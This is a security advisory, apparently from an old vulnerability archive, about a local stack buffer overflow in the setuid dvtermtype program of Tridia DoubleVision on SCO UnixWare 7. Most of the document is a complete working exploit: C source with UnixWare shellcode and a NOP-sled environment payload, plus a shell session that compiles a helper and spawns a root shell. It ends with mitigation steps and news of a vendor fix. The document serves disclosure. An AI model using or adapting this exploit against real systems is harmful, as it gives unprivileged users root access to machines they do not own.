COMMAND

    Tridia DoubleVision

SYSTEMS AFFECTED

    SCO UnixWare 7 with Tridia DoubleVision version 3.07.00

PROBLEM

    Stephen Friedl found following.   The "Double Vision" product  for
    SCO UnixWare has  a buffer overflow  vulnerabilty that allows  any
    local user to gain  full root privileges.   The nature of the  bug
    is such that it is likely open to all the supported Double  Vision
    platforms, not just SCO UnixWare, though the exploit code provided
    won't exercise it anywhere else.

    Double  Vision  for  Character  Terminals  is  from  Tridia  Corp.
    (formerly "Maximum  Computer Technology"),  and it  taps into  the
    data stream of a character terminal session.  It's been likened to
    "pcAnywhere for UNIX", and it allows for an admin to watch or take
    over the session of a user.   UNIX admins who use this  positively
    swear by it.  The product  is quite mature -- shipping since  1991
    -- and is available for most of the popular UNIX / Linux systems.

    The product as tested delivers several binaries into /usr/lib/dv/*
    and nine of them  are setuid root.   There are also several  small
    scripts  in  /bin  that  front-end  for  the  "real"  programs  in
    /usr/lib/dv,  and  for  our  exploit  we focus on the "dvtermtype"
    program.

    This program is essentially run  at login time to tell  the Double
    Vision system what kind  of terminal the user  is on, so when  run
    elsewhere  by  an  admin,  the  program  can do proper escape-code
    translations on the fly.  dvtermtype modifies /usr/lib/dv/ttytype,
    an ASCII file with termtype/devicename pairs, one per line.

    The dvtermtype program takes two parameters: the terminal name and
    the terminal  type, and  we've found  that providing  a very  long
    string  for  the  term  type  can  overflow an internal buffer and
    overwrite the return address on  the stack.  We take  advantage of
    this  by  providing  the  exploit  code in an environment variable
    (which can be  at a predictable  address) and overflow  the buffer
    with the address of that exploit code.

    The rootshell code runs /tmp/ui, which is a little helper  program
    that simply does a setreuid(0,0) to fully become root, then  execs
    the standard Bourne  shell.  This  is a root  shell.  It  would be
    possible to build this setreuid() business into the shellcode, but
    this  was  easier  in  the  limited  time available to develop the
    exploit.

    With the versions mentioned earlier in this Advisory, the  exploit
    is very simple:

        $ cd /tmp
        $ cat > ui.c
        int main() { setreuid(0,0); system("/bin/sh"); return 0; }
        ^D
        $ cc ui.c -o ui
        $ cc dvexploit.c -o dvexploit
        $ ./dvexploit
        # 		<-- root shell here

    For the  specific versions  mentioned above,  the exploit  program
    cracks  root  instantly,  but  other  variants  might require some
    tuning that is described  in the exploit source  code.  We do  not
    have access to Double Vision  on other platforms so have  not even
    attempted "porting" this exploit.

    Special thanks  go to  Brock Tellier  who wrote  the original  SCO
    UnixWare shellcode, and it was  a very helpful starting point  for
    this research.

    /*
     * dvexploit.c
     *
     * written by :	Stephen J. Friedl
     *		Software Consultant
     *		2000-06-24
     *		steve@unixwiz.net
     *
     *	This shellcode was based directly on the great work of
     *	Brock Tellier (btellier@usa.net), who seems to spend a lot
     *	of time within with various SCO UNIX release. Thanks!
     *
     *	This shellcode runs /tmp/ui, which should be this simple
     *	program:
     *
     *	$ cd /tmp
     *	$ cat ui.c
     *	int main() { setreuid(0,0); system("/bin/sh"); return 0; }
     *	$ cc ui.c -o ui
     *
     *	Brock's original work compiled this automatically, but I
     *	prefer to do it by hand. A better approach is to do the
     *	setreuid() in the shellcode and call /bin/sh directly.
     *	Maybe another day.
     *
     * BUILD/TEST ENVIRONMENT
     * ----------------------
     *
     *	$ cc -v
     *	UX:cc: INFO: Optimizing C Compilation System  (CCS) 3.2  03/03/99 (CA-unk_voyager5)
     *
     *	$ uname -a
     *	UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
     *
     *	from /usr/lib/dv/README
     *
     *		DoubleVision for Character Terminals Release 3.0
     *		Last Update:  December 7, 1999
     *
     * TUNING
     * ------
     *
     *	The default parameters to this program work on the versions mentioned
     *	above, but for variants some tuning might be required. There are three
     *	parameters that guide this program's operation:
     *
     *	-a retaddr	set the "return" address to the given hex value,
     *			which is the address where we expect to find the
     *			exploit code in the environment. The environment
     *			is at a relatively fixed location just below
     *			0x80000000, so getting "close" is usually sufficient.
     *			Note that this address cannot have any zero bytes
     *			in it! We believe that the target code has enough
     *			padding NOP values to make it an easy target.
     *
     *	-r retlen	length of the overflowed "return address" buffer,
     *			which is filled in with the address provided above.
     *			Default = 2k, max = 5k.
     *
     *	-l n		slightly shift the alignment of the return address
     *			buffer by 1, 2 or 3 in case the buffer that's being
     *			overflowed.
     */
    
    #include <stdlib.h>
    #include <stdio.h>
    
    /*-----------------------------------------------------------------------
     * shellcode for SCO UnixWare
     *
     *	The shellcode in the binary was derived from assembler code
     *	below, and we put the asm() code inside the function so we
     *	can disassemble it and get the binary bytes easier. The code
     *	all should match, but the real original data is the full
     *	asm() code.
     */
    #if 1
    
    static const char scoshell[] =
	    "\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11"
	    "\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8"
	    "\xe2\xff\xff\xff"
	    "/tmp/ui"
	    "\xaa\xaa\xaa\xaa"
	    "\x9a\xaa\xaa\xaa\xaa\x07\xaa";
    
    #else
    
    extern char	scoshell[];
    
    static void foo()
    {
    
    asm("#-------------------------------------------");
    asm("scoshell:");
    asm("		jmp	L1b");			/* go to springboard	*/
    asm("	L2b:	popl	%esi");			/* addr of /tmp/ui	*/
    asm("		xorl	%ebx,%ebx");		/* %ebx <-- 0		*/
    asm("		movl	%ebx,  7(%esi)");	/* mark end of string	*/
    asm("		movl	%ebx, 12(%esi)");	/* 0 to lcall addr	*/
    asm("		movb	%bl,  17(%esi)");	/* 0 to lcall sub addr	*/
    asm("		xorl	%eax,%eax");		/* %eax <-- 0		*/
    asm("		movb	$0x3b, %al");		/* 0x3b = "execve"	*/
    asm("		leal	7(%esi), %edi");	/* addr of NULL word	*/
    asm("		pushl	%ebx");			/* zero			*/
    asm("		pushl	%edi");			/* addr of NULL word	*/
    asm("		pushl	%esi");			/* addr of "/tmp/ui"	*/
    asm("		pushl	%esi");			/* addr of "/tmp/ui"	*/
    asm("		jmp	L3b");			/* do OS call		*/
    asm("	L1b:	call	L2b");
    asm("		.ascii	\"/tmp/ui\"");		/* %esi			*/
    asm("		.4byte	0xaaaaaaaa");		/* %esi[ 7]		*/
    asm("	L3b:	lcall	$0xaa07,$0xaaaaaaaa");	/* OS call		*/
    asm("		.byte	0x00");			/* endmarker 		*/
    asm("#-------------------------------------------");
    
    }
    
    #endif
    
    #define NOP	0x90
    
    static char	*env[10],	// environment strings
		    *arg[10];	// argument vector
    
    /*------------------------------------------------------------------------
     * "Addr" is the predicted address where the shellcode starts in the
     * environment buffer. This was determined empirically based on a test
     * program that ran similarly, and it ought to be fairly consistent.
     * This can be changed with the "-a" parameter.
     */
    static long	addr = 0x7ffffc04;
    
    static char	*exefile = "/usr/lib/dv/dvtermtype";
    
    int main(int argc, char *argv[])
    {
    int	c;
    int	i;
    char	egg[1024];
    int	egglen = sizeof egg - 1;
    int	retlen = 2048;
    char	retbuf[5000];
    int	align = 0;
    char	*p;
    
	    setbuf(stdout, (char *)0 );
    
	    while ( (c = getopt(argc, argv, "a:r:l:")) != EOF )
	    {
		    switch (c)
		    {
		      case 'a':	addr = strtol(optarg, 0, 16); break;
		      case 'l':	align = atoi(optarg); break;
		      case 'r':	retlen = atoi(optarg); break;
		    }
	    }
    
	    if ( optind < argc )
		    exefile = argv[optind++];
    
	    printf("UnixWare 7.x exploit for suid root Double Vision\n");
	    printf("Stephen Friedl <steve@unixwiz.net>\n");
	    printf("Using addr=0x%x   retlen=%d\n", addr, retlen);
    
	    /*---------------------------------------------------------------
	     * sanity check: the return buffer requested can't be too big,
	     * and the address can't have any zero bytes in it.
	     */
	    if ( retlen > sizeof(retbuf) )
	    {
		    printf("ERROR: retlen can't be > %d\n", sizeof(retlen));
		    exit(1);
	    }
    
	    p = (char *)&addr;
    
	    if ( !p[0] || !p[1] || !p[2] || !p[3] )
	    {
		    printf("ERROR: ret address 0x%08lx has a zero byte!\n", addr);
		    exit(1);
	    }
    
	    /*---------------------------------------------------------------
	     * Now create the "return" buffer that is used to overflow the
	     * return address. This buffer really has nothing in it other than
	     * repeated copies of the phony return address, and one of them
	     * will overwrite the real %EIP on the stack. Then when the called
	     * function returns, it jumps to our code.
	     *
	     * It's possible that this requires alignment to get right, so
	     * the "-l" param above can be used to adjust this from 0..3.
	     * If we're aligning, be sure to fill in the early part of the
	     * buffer with non-zero bytes ("XXXX");
	     */
	    strcpy(&retbuf, "XXXX");
    
	    for (i = align; i < retlen - 4; i += 4)
	    {
		    memcpy(retbuf+i, &addr, 4);
	    }
	    retbuf[i] = 0;
    
	    printf("strlen(retbuf) = %d\n", strlen( (char *)retbuf) );
    
	    /*---------------------------------------------------------------
	     * The "egg" is our little program that is stored in the environment
	     * vector, and it's mostly filled with NOP values but with our little
	     * root code at the end. Gives a wide "target" to hit: any of the
	     * leading bytes hits a NOP and flows down to the real code.
	     *
	     * The overall buffer is
	     *
 	     *	X=################xxxxxxxxxxxxxxxxxxxxx\0
	     *
	     * where # is a NOP instruction, and "X" is the exploit code. There
	     * must be a terminating NUL byte so the environment processor does
	     * the right thing also.
	     */
	    memset(egg, NOP, egglen);
	    memcpy(egg, "EGG=", 4);
    
	    // put our egg in the tail end of this buffer
	    memcpy(egg + (egglen - strlen(scoshell)- 1), scoshell, strlen(scoshell));
    
	    egg[egglen] = '\0';
    
	    /* build up regular command line */
    
	    arg[0] = exefile;
	    arg[1] = "dvexploit";		/* easy to find this later */
	    arg[2] = (char *)retbuf;
	    arg[3] = 0;
    
	    /*---------------------------------------------------------------
	     * build up the environment that contains our shellcode. This
	     * keeps it off the stack.
	     */
	    env[0] = egg;
	    env[1] = 0;
    
	    execve(arg[0], arg, env);
    }

SOLUTION

    One approach is to remove the setuid bit from the executable,  and
    this may or may not be workable in real environments.  For systems
    using character  terminals with  fixed device  names (ttyA04), the
    admin  can  set  these  term  types  in  advance  knowing that the
    terminal type won't change over time.  So when he goes to remotely
    control a user's session, the ttytype database will be correct.

    This can be  more difficult in  a network environment  where users
    come in  via telnet.   In this  circumstance, any  given user  can
    enter the  system at  a varying  device name  (a pseudo-tty),  but
    if the  admin knows  the user's  actual term  type, he  can set it
    manually:

        # /usr/lib/dv/dvtermtype termtype devicename

    For homogeneous environments where all users use the same software
    this might not be such an inconvenience.

    Tridia Corp. has released  an update (3.07.01 Build#1)  that fixes
    this problem for Unixware, but it's not been clear that they  have
    given this  any thought  on other  platforms.   It's available  on
    their web site.